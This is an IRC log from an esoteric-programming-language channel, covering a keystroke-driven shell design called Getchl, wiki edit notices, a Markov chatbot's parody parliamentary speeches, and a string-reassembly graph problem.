04:33:51 <hppavilion[1]> Instead of the typical waiting-until-the-user-hits-enter bullshit we have now. Efficiency!
04:34:12 <quintopia> it just means people compose their commands in a separate app
04:34:23 <quintopia> which means they'll be golfing them probably
04:34:51 <quintopia> who uses ctrl+v to paste to a terminal?
04:35:50 <quintopia> this sounds like the worst shell ever made
04:36:06 <zzo38> So, only pasting by keystroke pasting would be the possible one
04:36:07 <hppavilion[1]> For leniency, every keypress puts a new state on the belt, and backspace pops a state and reverts to it (but your mistake stays in the shell0
04:37:15 <quintopia> hppavilion[1]: since when is eso synonymous with "making things needlessly hard"?
04:37:36 <hppavilion[1]> quintopia: It isn't synonymous, but that's how it works. Also, this is like the Malebolge of esoshells
04:38:23 <hppavilion[1]> It isn't meant to be needlessly hard though; it's just meant to be different
04:38:47 <zzo38> You are free to make it like that if it is how you want to do, of course. Anyways, "not synonymous" does not necessarily imply "excludes".
04:38:50 <oerjan> dammit, why did it have to be #13
04:39:13 <zzo38> oerjan: Why did what have to be #13 of what?
04:40:15 <quintopia> hppavilion[1]: You said "so...yeah." as if it were obvious that such a shell should block off every possible way of interacting that isn't the intended one.
04:40:34 <quintopia> as if you were shooting for "needlessly hard"
04:41:01 <quintopia> if you'd said malbolgeshell instead of esoshell i would have gotten it from the start
04:41:03 <hppavilion[1]> I wasn't aiming to make it needlessly hard; I was making it to be different.
04:41:28 <hppavilion[1]> Malbolgeshell is /one/ way of thinking of it, certainly.
04:41:42 <hppavilion[1]> Remember though, I /did/ include backspace-to-revert.
04:41:43 <oerjan> zzo38: the number of my first pull request
04:44:30 <quintopia> hppavilion[1]: but why go so far out of your way to prevent pasting?
04:44:55 <hppavilion[1]> quintopia: Well really, I just don't want to have to implement pasting because I'm using this for my OS
04:46:27 <quintopia> hppavilion[1]: no, started adding in all kinds of features to prevent pasting even where it would likely already work on its own (e.g. if you just let the shell run in a standard vterm)
04:47:09 <hppavilion[1]> And my OS uses a canvas and some bindings instead of directly using the standard streams, because that's what made sense at the time
04:47:29 <hppavilion[1]> It's so these command prompts can be drawn onto the GUI
04:50:40 <hppavilion[1]> And so I would have an excuse to use the font I made that can only be drawn on Tk canvases
04:51:16 <hppavilion[1]> I mean, I'll probably allow users to paste stuff in. But no guarantees, of course
04:51:23 <quintopia> implementing paste is really easy though. there's a couple of different libraries to handle it for you
04:51:31 <oerjan> hppavilion[1]: obviously you should call this AntiPasta hth
04:51:38 <hppavilion[1]> quintopia: Haven't found a cross-plantform one to date, AFAIK
04:51:50 <hppavilion[1]> oerjan: My problem is that I have to support all keyboard characters
04:51:59 <quintopia> xerox is p cross-platform. did you try that?
04:53:04 <oerjan> hm apparently antipasta is a misspeling
04:54:57 <hppavilion[1]> I would like to see the .itxt and .ipng file format, for encoding infintely-large text and images
04:55:25 <quintopia> oerjan: but it has become standard for some reason
04:58:59 <HackEgo> [wiki] [[Special:Log/newusers]] create * Hakatashi * New user account
05:00:20 <HackEgo> [wiki] [[Sclipting]] http://esolangs.org/w/index.php?diff=45239&oldid=44910 * Hakatashi * (+0) /* Byte-array literals */
05:03:46 <hppavilion[1]> getattr(self, 'com_'+hex(chr(char))[2:].zfill(2))()
05:04:18 <quintopia> (someone oughta tell timwi that sclipting is the most poorly organized and explained article on the wiki, even if it's not true.)
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05:36:47 <hppavilion[1]> I figured out the primitive control flow for Getchl
05:36:58 <hppavilion[1]> the @ command: Repeats the last command until it fails.
05:45:28 <hppavilion[1]> But I'm not thinking it through right now; too tired.
05:46:30 <hppavilion[1]> If I were to make the conditions for ?'s failure or success right, I suppose it could be the ternary while xD
05:46:40 <hppavilion[1]> But really, @ is closer to "reduce" than to "while"
05:48:17 <hppavilion[1]> @ doesn't take a block of code; it just repeats the previous instruction until it fails
05:48:44 <hppavilion[1]> Though I could, theoretically, make the { and } instructions denote blocks...
05:49:46 <hppavilion[1]> A do-while loop... where the condition is whether its contents crashes. That's cool.
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07:14:28 <izabera> then it's working so much it overflowed and now it's negative lols
07:26:12 <izabera> how did i manage to miss overflol
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11:48:07 <HackEgo> [wiki] [[Befunge]] http://esolangs.org/w/index.php?diff=45240&oldid=44831 * 78.91.103.24 * (-171) /* History */ Deleted claims. See comments in discussion.
11:51:36 <HackEgo> [wiki] [[Talk:Befunge]] http://esolangs.org/w/index.php?diff=45241&oldid=42983 * 78.91.103.24 * (+548)
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11:54:46 <b_jonas> fungot, what do you do when you find that each of the separate pieces work fine, but put together they don't work?
11:54:46 <fungot> b_jonas: basically what i am trying to make the intent of wikipedia to promote the pov that the report " fnord malicious fnord fnord news
11:58:54 <HackEgo> [wiki] [[Special:Log/newusers]] create * Qllzyfyh * New user account
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12:14:23 <fizzie> fungot: What do you do with a drunken sailor?
12:14:24 <fungot> fizzie: definition is ' ' princess of the netherlands will associate the subject with. user:krator ( user talk:kratort special:contributions/ kratorc) 21:47, 30 august 2007 ( utc) fnord
12:16:38 <HackEgo> [wiki] [[Brainloller]] http://esolangs.org/w/index.php?diff=45242&oldid=44761 * Qllzyfyh * (+848) Added Extended Brainloller Type 1
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12:19:08 <boily> fungot: fnord fnord?
12:19:08 <fungot> boily: removed the earlier information, it was this station that was replaced is as follows:
12:19:35 <boily> fungot: you replace number stations?
12:19:35 <fungot> boily: i reverted the changes which included the info ' although it may sound odd, but i believe my breakdown of the four lines into the melody. along with the fourth, is my favorite shostakovich symphony. in fact, a list of the 20 largest urban centres of nsw not local government areas of fnord within their current business processes and to document business knowledge that will be considered a part of his official profile. and
12:25:36 <fungot> Selected style: europarl (European Parliament speeches during approx. 1996-2006)
12:26:24 <fizzie> fungot: Mr President, What is your position on what has been called the migrant crisis?
12:26:25 <fungot> fizzie: madam president, ladies and gentlemen, i would like to record my appreciation of the political debate of the house attach to the programme. there are proposals such as the greenhouse effect linked to the level that was originally expected. latin america is still living proof of this lies in the negotiations with the council decision of 14 december which i have helped and supported me for i could not do so because those
12:26:43 <fizzie> Latin America, living proof of the lies.
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12:32:20 <int-e> fungot: what is your take on the proliferation of walls of text?
12:32:21 <fungot> int-e: mr president, it is a tangible way of doing things and taking positive steps. curiously though, we have instigated a process of almost ten years in the cause of many of our newspapers, there is only a drop in harvest by an estimated 2.3 million tonnes of food inside goma. so we're not talking about words here.
12:32:56 <fungot> int-e: mr president, mr president, commissioner, over the last twenty months. applause you will strengthen the cooperation between the national authorities then fail to adopt the fourth framework programme is what we demand when the effect of informing and consulting employees and the trades in drugs, but in order for us to extend the length of study to a greater extent, the way in which the slorc oppresses and rules burma. the
12:33:21 <int-e> the "applause" is a nice touch
12:34:12 * Taneb is at a seminar led by Tony Hoare!
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12:45:15 <HackEgo> [wiki] [[Brainloller]] M http://esolangs.org/w/index.php?diff=45243&oldid=45242 * Qllzyfyh * (+143) Added a note on Extended Brainloller colour ranges.
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12:50:14 <fizzie> The walls-of-text answer was surprisingly fitting.
12:53:00 <fizzie> fungot: Have you ever taken a bribe?
12:53:00 <fungot> fizzie: mr president, it was the socialist/ green coalition of chancellor schrder, proposed specifically on the measures to be taken in wto negotiations will cost us a great deal at stake: economic and monetary union.
12:53:22 <fizzie> fungot: So do you think the ends justify the means?
12:53:23 <fungot> fizzie: mr president, we are entirely sure that the contracts did in fact agree with what has already been sent to greece. the otila report, which her colleague carlos lage, has presented us with), i want to protest very strongly about i should like to say to mrs frahm and mr cappato and especially with baroness ludford when she says that it is imperative to point out that mr turmes' s report on large combustion plants should b
12:54:55 <edwardk> @tell oerjan thanks for all your work on Data.Constraint.Forall!
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14:25:14 <HackEgo> [wiki] [[Brainloller]] M http://esolangs.org/w/index.php?diff=45244&oldid=45243 * Qllzyfyh * (+0) Fixed color specification.
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14:49:29 <HackEgo> [wiki] [[Special:Log/newusers]] create * B0811 * New user account
14:57:24 <Melvar> Hrrm. So, I was going to use libclang for a thing. But now it turns out I don’t actually have a libclang.so, so now I don’t know how to link my program.
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15:01:07 <HackEgo> [wiki] [[Yamini]] N http://esolangs.org/w/index.php?oldid=45245 * B0811 * (+506) Created page with "Yamini, the hand model. The intelligent, the idiot, and the one that annoys the crap out of everyone. The world ended on October 16th,2000. Her name is pronounced YEAH-MEANIEE..."
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15:19:17 <Melvar> Ah, it’s just specifically buried.
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16:15:30 <quintopia> oerjan: could you plox delete that Yamini page?
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17:08:41 <Jafet> Did she annoy the crap out of you?
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18:15:06 <quintopia> Jafet: i was slightly annoyed inasmuch as I don't have the editing privileges to revert a page creation myself. but it was more of slight irking than a full on bothering
18:15:22 <quintopia> in the end i'm glad i'm not the one who has to deal with that b.s.
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19:10:51 <hppavilion[1]> In getchl, @@ is a mneumonic for "Loop forever and do nothing"
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19:41:54 <izabera> ^ gnu sleep actually supports that
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19:49:49 <HackEgo> [wiki] [[Do loop until failure]] N http://esolangs.org/w/index.php?oldid=45246 * Hppavilion1 * (+1184) Created Page
19:50:33 <HackEgo> [wiki] [[Category:Language constructs]] N http://esolangs.org/w/index.php?oldid=45247 * Hppavilion1 * (+66) Created Category
19:51:31 <HackEgo> [wiki] [[Do loop until failure]] M http://esolangs.org/w/index.php?diff=45248&oldid=45246 * Hppavilion1 * (+14) Fixed implementation formatting
19:53:29 <HackEgo> [wiki] [[Do loop until failure]] http://esolangs.org/w/index.php?diff=45249&oldid=45248 * Hppavilion1 * (+107) Ideal implementation, see also
19:58:27 <HackEgo> [wiki] [[Do loop until failure or condition else]] N http://esolangs.org/w/index.php?oldid=45250 * Hppavilion1 * (+841) Created Page
19:59:13 <hppavilion[1]> izabera: The do loop until failure? It's all explained on the page.
20:00:36 <HackEgo> [wiki] [[Do loop until failure]] http://esolangs.org/w/index.php?diff=45251&oldid=45249 * Hppavilion1 * (+167) Meaning
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20:18:46 <izabera> what's esoteric about that?
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21:28:34 <zzo38> I am making the program to convert directly from DVI to PBM without needing any PostScript or PDF or other intermediate formats. If you are not tampering with the page order then the input does not have to be seekable and therefore can even be generated with a pipe.
21:32:06 <Melvar> izabera: Really? The manpage doesn’t say anything about it. Or does that count as a floating point number?
21:32:38 <izabera> Melvar: yeah it's because of how the float is converted
21:33:40 <fizzie> Sadly, "sleep nan" doesn't fly.
21:34:27 <Melvar> That would parse “infinity” according to the manpage.
21:37:27 <zzo38> (TeX cannot pipe the DVI output, although maybe troff is capable of doing this, or an extension of TeX which has such a command-line switch.)
21:38:33 <b_jonas> zzo38: you can use piping with postscript too.
21:39:02 <fizzie> Melvar: if (! xstrtod (argv[i], &p, &s, c_strtod) || ! (0 <= s) || (*p && *(p+1)) || ! apply_suffix (&s, *p)) { error (0, 0, _("invalid time interval %s"), quote (argv[i])); ok = false; }
21:40:35 <Melvar> Huh. Wonder what xstrtod is.
21:40:54 <fizzie> It's a wrapper around strtod-like functions, performing some commonly useful error checking.
21:41:03 <fizzie> The function it calls is the fourth argument, in this case c_strtod.
21:42:15 <fizzie> And c_strtod is some sort of a compile-time dispatcher to either strtod or strtod_l, the latter of which has something to do with locales.
21:44:41 <zzo38> b_jonas: Yes, if you have a program that support it then yes you can do that too of course, if you are using PostScript.
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22:28:44 <hppavilion[1]> Is DUP on a queue equivalent to `dqd=DEQUEUE(); ENQUEUE(dqd); EQUEUE(dqd)` , or is it closer to `dqd=PEEK(); ENQUEUE(dqd);` ?
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22:41:52 <HackEgo> [wiki] [[Special:Log/newusers]] create * Nikoraito * New user account
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22:50:55 <fungot> boily: i have, i would like to thank commissioner flynn for his dedication and commitment to take action on this matter, especially as we know, usually draws up reports, we condemn the government of spain. it would be more worthwhile voting for if it is based on the mutual assistance which should be subject to codecision, that is, a great deal to say, that strikes me as conduct unworthy of a country, in article 2, second subpar
22:51:42 <fungot> olsner: mr president, ladies and gentlemen, you understand, because they could get the proposed legislation implemented soon. i would just like to say that i will search for global security in the mediterranean
22:52:20 <boily> I feel legislatively twiddled.
22:52:37 <boily> new users are fun!
22:52:46 <hppavilion[1]> Getchl is coming along nicely, though the letters are hard to map to commands
22:56:07 <fungot> hppavilion[1]: mr president, i have listened very carefully to understand it. in the same way, and in particular sensitive traditional sectors such as transport and fisheries. this annual programme will hopefully coincide with the original proposal of eur 971 million to cope with the demands for compensation which might ensue. for that reason mr blak's point and mrs lulling's point were so relevant. what mrs mckenna has just ha
22:56:34 <fizzie> fungot: Why did we condemn the government of Spain again? I forgot.
22:56:35 <fungot> fizzie: mr president, commissioner, i represent a country which, under provocation certainly, immediately takes up arms to enforce it. so, as representative of former chancellor vranitzky. he is as thick as two short planks. the eu is to be mastered successfully. here, we will progressively reduce these by taking the opinions of the committees, if it is to be introduced.
22:56:40 <boily> fizzie: fizziello. have you updated the fizziegraphs as of lately?
22:56:46 <fungot> hppavilion[1]: i would be interested to know the names of mrs lienemann and mrs roth-behrendt, and they never will. our aim is to have information and consultation of employees.
22:56:59 * boily mapoles hppavilion[1]
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22:57:24 <fizzie> fungot: Their names are Lienemann and Roth-Behrendt HTH HAND
22:57:24 <fungot> fizzie: mrs kla has highlighted a number of problems today, i now ask you to allow us to take on those tasks. however, this will cause some overlapping of funding, such as the ' prodi amendment' and the ' polluter pays' principle. generally, experience tends to prove us right.
22:58:01 <fizzie> "the eu is to be mastered successfully."
22:59:08 <boily> hppavilion[1]: no, you didn't. what's a getchl?
22:59:30 <int-e> sounds like an accurate reflection of the EU commission's attitude
22:59:45 <hppavilion[1]> boily: It's a shell that uses getch() as its only form of interaction. And not "in a way". I mean, like, every time a keystroke occurs commands are executed
23:00:01 <hppavilion[1]> Otherwise, it's pretty normal, aside from being stacky
23:00:16 <hppavilion[1]> Classes just ended for the day, so I have to leave the room I'm currently in. Be back in a bit.
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23:06:59 <lambdabot> edwardk said 10h 12m 4s ago: thanks for all your work on Data.Constraint.Forall!
23:07:48 <shachaf> oerjan: why don't you beam in #-lens hth
23:08:59 <boily> holy fungot. oerjan was rewardedwardk!
23:09:00 <fungot> boily: mr president, i would like to end, mr president, commissioner, this is a start when it comes to its progressive social and environmental conditions. this in no way compromise the provisions of article 11 of protocol no 9 to give a progress report on the main guidelines for the 1999 budget as a whole, and i have two requests to the drug that morocco grows and markets and we are working with all the undesirable budgetary c
23:09:29 <int-e> an excellent start to an end, there
23:09:30 <fungot> Available: agora alice c64 ct darwin discworld enron europarl* ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
23:09:53 <fungot> Selected style: jargon (UNIX-HATERS mailing list archive)
23:10:04 <oerjan> int-e: when the end is nigh, fungot will save us with filibustering hth
23:10:04 <fungot> oerjan: did you ever helped maintained its, and leaving another 50 or 60 droppings in my desk? i just had to share it with a funny os. anyone caught with unapproved key bindings will be: 16
23:10:29 <olsner> oh, "UNIX-HATERS mailing list archive", not the jargon file
23:10:33 <int-e> is that when you light a cigar with a piece of newspaper?
23:11:21 <int-e> (I'm not sure which other word I'm conflating with the english one here)
23:11:36 * int-e deflates and goes to bed
23:12:20 -!- int-e has set topic: . o O ( hmm, flations ).
23:12:29 <int-e> uhm, sorry, let me fix
23:12:49 -!- int-e has set topic: The right channel. | You has indestructible. | ɛ̃ˈglɪʃ spɛˈliŋ ʀɘfɔʀm/ | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://esolangs.org/.
23:14:52 -!- boily has set topic: The flating channel. | /ɛ̃ˈglɪʃ spɛˈliŋ ʀɘfɔʀm/ | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://esolangs.org/.
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23:21:00 <zzo38> Do you expect you might use my DVI->PBM software (just guess for now as the program is not quite completed yet)? And if you have any other suggestion about features or any question, you can tell me that too; I hope to make improvement as much good as possible.
23:27:37 <HackEgo> [wiki] [[DStack]] http://esolangs.org/w/index.php?diff=45252&oldid=45231 * -Dark-Phantom- * (+1042) Computational class
23:29:05 <zzo38> (You can use other programs such as ImageMagick to convert into other formats and do other effects, as well as programs such as foo2zjs to convert PBM into ZjStream format (used by some printers).)
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23:34:44 <zzo38> The man page for pktype says the author's name but the table of contents for the PKtype program itself only says that the preparation of this report is supported in part by the National Science Foundation (a version number and date are also included). Do you know why?
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23:55:54 <izabera> the one where you have a string
23:55:59 <izabera> that's split and you have to glue it back
23:56:22 <izabera> split it in pieces of 4 characters
23:56:33 <izabera> the idea was to start from any piece
23:56:47 <izabera> try to extend it as much as possible in both directions
23:57:17 <izabera> but consider baba and abab
23:57:26 <izabera> they can be glued in both directions
23:57:37 <izabera> so i could end up with babab
23:59:43 <boily> . o O ( babababababababab... )
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00:07:01 <HackEgo> [wiki] [[Stack]] http://esolangs.org/w/index.php?diff=45253&oldid=44859 * Hppavilion1 * (+2933) Greatly improved page
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00:15:54 <HackEgo> [wiki] [[Stack]] M http://esolangs.org/w/index.php?diff=45254&oldid=45253 * Hppavilion1 * (+10) Added link to Queue page
00:19:14 <HackEgo> [wiki] [[Queue]] http://esolangs.org/w/index.php?diff=45255&oldid=44858 * Hppavilion1 * (+1441) Moderately improved page
00:19:37 <HackEgo> [wiki] [[Queue]] http://esolangs.org/w/index.php?diff=45256&oldid=45255 * Hppavilion1 * (-2) Fixed header error
00:20:15 <HackEgo> [wiki] [[Queue]] http://esolangs.org/w/index.php?diff=45257&oldid=45256 * Hppavilion1 * (+0) Table error
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00:32:25 <fizzie> izabera: In oerjan's graph problem form, your example would have (among others) the nodes aba and bab, and the edges aba -> bab, bab -> aba, and it would be "obvious" the cycle goes aba -> bab -> aba -> ..., because there are no other out-edges from bab (unlike aba, which has the aba -> bac edge from the piece "abac").
00:33:04 <HackEgo> [wiki] [[Deque]] http://esolangs.org/w/index.php?diff=45258&oldid=44856 * Hppavilion1 * (+3702) Improved page, going to add more operations soon
00:33:34 <HackEgo> [wiki] [[Deque]] M http://esolangs.org/w/index.php?diff=45259&oldid=45258 * Hppavilion1 * (-2) Header error
00:35:45 <HackEgo> [wiki] [[Deque]] http://esolangs.org/w/index.php?diff=45260&oldid=45259 * Hppavilion1 * (+215) One new operation, fixed colspan on table headers
00:36:10 <HackEgo> [wiki] [[Deque]] M http://esolangs.org/w/index.php?diff=45261&oldid=45260 * Hppavilion1 * (-1) Typo
00:39:02 <oerjan> izabera: put differently, you cannot get bab as the first element in a new cycle because the first element should already be in the path you've already collected, and that cannot happen.
00:39:52 <fizzie> (If coalescing nodes with a single in-edge and out-edge, the example graph would be nodes {aba, aca} and the labeled edges {aba -(ababa)-> aba, aba -(abaca)-> aca, aca -(acaca)-> aca}.)
00:40:59 <boily> quinthellopiaaaAAAAAAAAA!
00:41:25 <oerjan> or wait, i see what you mean, this is only at startup
00:42:06 <oerjan> yes, you could in fact get a cycle when you start that cannot be in the whole, if not careful.
00:43:01 <oerjan> izabera: the simplest fix is to detect the starting node by finding the unique node that has more outgoing than ingoing edges
00:43:15 <oerjan> and start building from there
00:43:52 <izabera> what if more than one exist?
00:44:50 <oerjan> all nodes except two have the same number of outgoing and ingoing edges
00:46:49 <oerjan> it must, if there's actually a unique path containing all edges exactly once
00:47:22 <oerjan> because any edge with more out than in can _only_ be at the start, and vice versa
00:49:58 <izabera> why does it have to contain all the edges exactly once?
00:50:14 <izabera> it must contains every vertex exactly once
00:50:27 <oerjan> the edges are the pieces given
00:52:04 <oerjan> (of course two edges may have the same string, that's what repetition means)
00:52:45 <boily> . o O (...ababababababababab... )
00:52:51 <izabera> i was thinking about the dual
00:52:52 <oerjan> hm oh, that's a bit contradictory
00:53:11 <oerjan> there isn't a unique path if you distinguish edges with the same string
00:53:29 <oerjan> because you could obviously switch their places
00:54:02 <oerjan> so there's actually a unique path of _nodes_, using each edge once
00:54:26 <oerjan> (but where nodes may be repeated)
01:00:28 <boily> hellørjan. do you read Dresden Codak?
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01:10:54 <shachaf> oerjan: oh, you left :'-lens #(
01:11:31 <oerjan> how can i stand a channel like that, unlogged? that's madness.
01:11:48 <shachaf> just ignore what people say when you're not around
01:12:09 <oerjan> that's also madness hth
01:13:57 <boily> . o O (...bababababababab *ZGRNGNGN* abababababab...)
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01:20:11 <\oren\> the goppers are having a debate in 40 minutes
01:20:42 <pikhq> I don't know who will win, but I know I will lose.
01:22:03 <boily> \helloren\, pikhelloq.
01:22:29 <oerjan> fizzie: reading the logs, i am shocked to discover that the europarl style isn't proper utf8 tdnh
01:22:46 <pikhq> GOPper -- one who is a member of the Grand Old Party, the younger of the two major US political parties.
01:23:12 <\oren\> gopper : a GOP person-dude
01:23:15 <HackEgo> [wiki] [[$tonePits]] http://esolangs.org/w/index.php?diff=45262&oldid=40544 * 71.94.244.146 * (-7)
01:23:25 <pikhq> It's really humorous it has that name, really.
01:24:08 <oerjan> at least the democratic party is no longer the clearly least democratic
01:24:58 <pikhq> Well, it is the opposition to the Federalist party...
01:25:04 <shachaf> pikhq: are you running for president twh
01:25:26 <pikhq> I am not of age to be President, unfortunately.
01:26:08 <boily> right, our Southern Neighbours still have to elect a President.
01:26:21 <oerjan> hppavilion[1]: hm if you want to pick out extremes at both sides. but what if you want the middle option (i'm imagining the Priority Deque used in politics, here)
01:26:30 <shachaf> pikhq: maybe we could get an amendment in by next year
01:26:33 <boily> ours is doing well, if I may say so.
01:26:43 <coppro> boily: our head of state or head of government?
01:26:50 <hppavilion[1]> What operations does a Queue have in addition to ENQUEUE, DEQUEUE, and ROLL?
01:26:54 <pikhq> I think you'd have a better shot at letting non-native Americans take the job.
01:27:39 <pikhq> I mean, at one point there was enough people who would support Schwarzenegger as President.
01:27:43 <coppro> pikhq: lol the 27th amendment
01:27:57 <HackEgo> [wiki] [[Queue]] http://esolangs.org/w/index.php?diff=45263&oldid=45257 * Hppavilion1 * (+231) One new operation
01:28:09 <oerjan> hppavilion[1]: SIT and FETCH hth
01:28:11 <pikhq> Oh, that one? Hah.
01:29:32 <boily> coppro: head of gov.
01:31:41 <HackEgo> [wiki] [[Special:Log/delete]] delete * Oerjan * deleted "[[Yamini]]": Spam: content was: "Yamini, the hand model. The intelligent, the idiot, and the one that annoys the crap out of everyone. The world ended on October 16th,2000. Her name is pronounced YEA..." (and the only contributor was "[[Special:Contributions/B0811|B0811]]")
01:33:10 <coppro> boily: yeah, he's doing pretty great
01:35:14 <boily> DISTUPGRAAAAAAAAAAAAAADE!!! ♪
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01:35:54 <pikhq> You people with your ineffectual heads of state.
01:36:08 <coppro> our head of state is far from ineffectual
01:36:13 <oerjan> actually that was probably more gibberish than spam. how long should i block for?
01:36:15 <coppro> she just doesn't have much to do
01:36:29 <coppro> she's very good at doing it
01:36:45 <pikhq> Let's go with "powerless".
01:36:50 <oerjan> (there was a phone number at the end, but i hesitate to call what preceded it an advertisement)
01:36:57 <tswett> Man, this language I'm creating is *so* going to be the next SQL.
01:37:09 <tswett> Look at this: "points where x > 3 each set x := 3"
01:37:23 <tswett> That's obviously far superior to "update points set x = 3 where x > 3".
01:37:30 <oerjan> i can only conclude none of you have a clue. where _is_ ais523...
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01:38:07 <oerjan> well that is plausible, although not proven
01:38:29 <pikhq> Also, fuck this jet lag so much
01:38:33 <tswett> Okay, that's sort of an unconvincing example.
01:39:19 <tswett> Want to delete everyone who owns a house? "houses.owner.delete"
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01:39:41 <pikhq> My brain is basically on UTC+1 while my reality is on UTC-8.
01:39:44 <tswett> Compare the SQL equivalent:
01:40:09 <tswett> "delete from people where id in (select owner_id from houses)"
01:40:40 <tswett> I'm taking advantage of two things that SQL doesn't.
01:40:53 <tswett> In many cases, you can treat the act of deletion as if it were just a column.
01:41:34 <tswett> "select (delete this row from the "people" table) from people, houses where people.id = houses.owner_id"
01:42:02 <tswett> And second, having a foreign key column that's just an integer, and then doing a join with another table whenever you want to look up the values associated with that foreign key, is stupid.
01:42:29 <HackEgo> [wiki] [[Special:Log/block]] block * Oerjan * blocked [[User:B0811]] with an expiry time of 1 week (account creation disabled): Intimidating behavior/harassment
01:42:37 <tswett> Here's how SQL gets all people who own houses: "select people.id from people, houses where people.id = houses.owner_id"
01:42:40 * oerjan makes a random decision
01:43:09 <tswett> You really ought to just be able to take a row in the "houses" table and perform an indexing operation on it to get the corresponding row in the "people" table.
01:43:26 <tswett> Hence, my equivalent of "select people.id from people, houses where people.id = houses.owner_id" is "houses.owner".
01:45:30 <hppavilion[1]> Here's the spec I'm working on for Getchl: https://docs.google.com/document/d/1IVBYW2CSDgvspkCl0nYTy-FQPUwozYdkX2H-cZGwALo/edit?usp=sharing
01:46:40 <hppavilion[1]> It's a weird tangled mess. Hard to understand fully. Definitely eso.
01:47:32 <hppavilion[1]> (Before someone comments "But x language is a weird tangled mess that's hard to understand fully, and /it/ isn't eso" I would like to say that yes, langauge x /is/, as a matter of fact, eso, it just also happens to be in circulation making it not /seem/ eso)
01:49:06 <HackEgo> [U+FFFD REPLACEMENT CHARACTER]
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01:51:43 <HackEgo> [wiki] [[Stack]] M http://esolangs.org/w/index.php?diff=45264&oldid=45254 * Hppavilion1 * (+4) Fixed See Also section
01:52:11 <oerjan> hppavilion[1]: how can you be editing the wiki when i cannot load it
01:52:46 <hppavilion[1]> oerjan: Is there only one server, or are there a few worldwide?
01:53:19 <hppavilion[1]> Well it doesn't seem to be sending the edit through, really
01:53:20 <oerjan> it's on the same server as HackEgo
01:53:54 <hppavilion[1]> Then again, I guess HackEgo was taking less computational power than the wiki
01:54:09 <oerjan> the same thing happened to me when i did the block, HackEgo announced it but the page never loaded. oh there it did.
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01:56:32 <oerjan> fizzie: oh it's worse than that, fungot's europarl style actually spits out utf8 replacement chars
01:56:32 <fungot> oerjan: " poweropen" sounds like you're an alien in a non-distributed operating system deserves better. except in very rare instances, you
01:57:24 <hppavilion[1]> I just counted, and Getchl practically has 103 commands. It uses only the printable ascii characters, and each command is one character. Think about that.
01:57:41 <hppavilion[1]> (Not all the letter commands do anything yet though)
01:58:21 <hppavilion[1]> (also, nothing is assigned to |, and ~ is subject to change because its current meaning is stupid)
01:58:37 <zzo38> Add control character too then if you would need such a things.
02:00:00 <hppavilion[1]> You can technically execute a control character though by pushing its value on the stack then calling ` (the Apply/Eval command)
02:01:19 * hppavilion[1] totally isn't trying to get people to click that link so that he can get feedback
02:01:36 <hppavilion[1]> Nope, no need for others' comments on my work here. xD.
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03:07:03 <shachaf> https://en.wikipedia.org/wiki/Emil_i_L%C3%B6nneberga
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03:09:10 <\oren\> The IRS, the Department of Commercs, the department of Energy, the department of Commerce, and the HUD.
03:14:03 <pikhq> The Department of Commerce does not-much, and what it does is important.
03:14:16 <pikhq> It has a budget of $60 billion.
03:14:32 <pikhq> But it's got one of the few things the government is obligated to do: the census.
03:14:40 <pikhq> Also, the NOAA and the patent office.
03:16:35 <oerjan> shachaf: of course i remember emil, what about him
03:16:48 <HackEgo> [wiki] [[User:Nikoraito]] N http://esolangs.org/w/index.php?oldid=45265 * 173.169.59.42 * (+170) Created page with "Nikoraito is a pretty alright guy. He's working on 3var-x, a reverse-compatible dialect of 3var with a number of useful additional features including file io and a shell."
03:16:56 <shachaf> wasn't there a thing where he got a thing stuck on his head?
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03:19:18 <\oren\> we might want to point out to
03:19:32 <\oren\> Trump that China isn't in the TPP
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03:20:15 <shachaf> oerjan: was there a thing with a mousetrap under the table?
03:20:20 <shachaf> or am i mixing up different things now
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03:20:47 <oerjan> well i don't remember all of the stories
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03:21:38 <shachaf> https://en.wikipedia.org/wiki/Emil_and_the_Detectives
03:22:11 <oerjan> no, i had never heard of that author until some german in this channel mentioned him
03:22:29 <shachaf> i thought this latter emil was much more famous
03:22:39 <oerjan> not in norway, for sure
03:22:45 <oerjan> well not when i grew up
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03:55:43 <HackEgo> [wiki] [[Roadrunner]] http://esolangs.org/w/index.php?diff=45266&oldid=44162 * Oerjan * (-16) too many links, and section case
04:12:42 <HackEgo> [wiki] [[Microscript]] http://esolangs.org/w/index.php?diff=45267&oldid=45193 * Oerjan * (-92) sp, wikify
04:20:09 <HackEgo> [wiki] [[Stare/1.0]] http://esolangs.org/w/index.php?diff=45268&oldid=44278 * Oerjan * (+6) links, grm
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04:37:19 <HackEgo> [wiki] [[Symball]] http://esolangs.org/w/index.php?diff=45269&oldid=44217 * Oerjan * (+39) wikify
04:42:18 <HackEgo> [wiki] [[Special:Log/delete]] delete * Oerjan * deleted "[[Capricorn]]": Stub with no context and nothing to find with Google (OK, I'm not sure about the Japanese hits)
04:50:42 <HackEgo> [wiki] [[DeafPig]] http://esolangs.org/w/index.php?diff=45270&oldid=44208 * Oerjan * (+51) wikify
04:54:39 <HackEgo> [wiki] [[Special:Log/move]] move * Oerjan * moved [[Object-oriented]] to [[Object-oriented paradigm]]: As suggested on talk page
04:54:39 <HackEgo> [wiki] [[Special:Log/move]] move * Oerjan * moved [[Talk:Object-oriented]] to [[Talk:Object-oriented paradigm]]: As suggested on talk page
04:56:57 <oerjan> damn wiki locked up again
04:58:25 <HackEgo> [wiki] [[Category:Object-oriented paradigm]] M http://esolangs.org/w/index.php?diff=45275&oldid=7967 * Oerjan * (+0) expand link
04:59:12 <HackEgo> [wiki] [[Talk:Object-oriented paradigm]] http://esolangs.org/w/index.php?diff=45276&oldid=45273 * Oerjan * (+90) Done
05:03:00 <HackEgo> [wiki] [[Pig]] http://esolangs.org/w/index.php?diff=45277&oldid=41982 * Oerjan * (+60) wikify
05:05:26 <HackEgo> [wiki] [[Pig]] M http://esolangs.org/w/index.php?diff=45278&oldid=45277 * Oerjan * (-1) /* The Pig series */ order
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05:27:14 <HackEgo> [wiki] [[DStack]] http://esolangs.org/w/index.php?diff=45279&oldid=45252 * -Dark-Phantom- * (+95) /* Examples */
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06:04:39 <HackEgo> [wiki] [[Deque]] M http://esolangs.org/w/index.php?diff=45280&oldid=45261 * Hppavilion1 * (-243) /* Additional Operations */ Removed duplicate operation
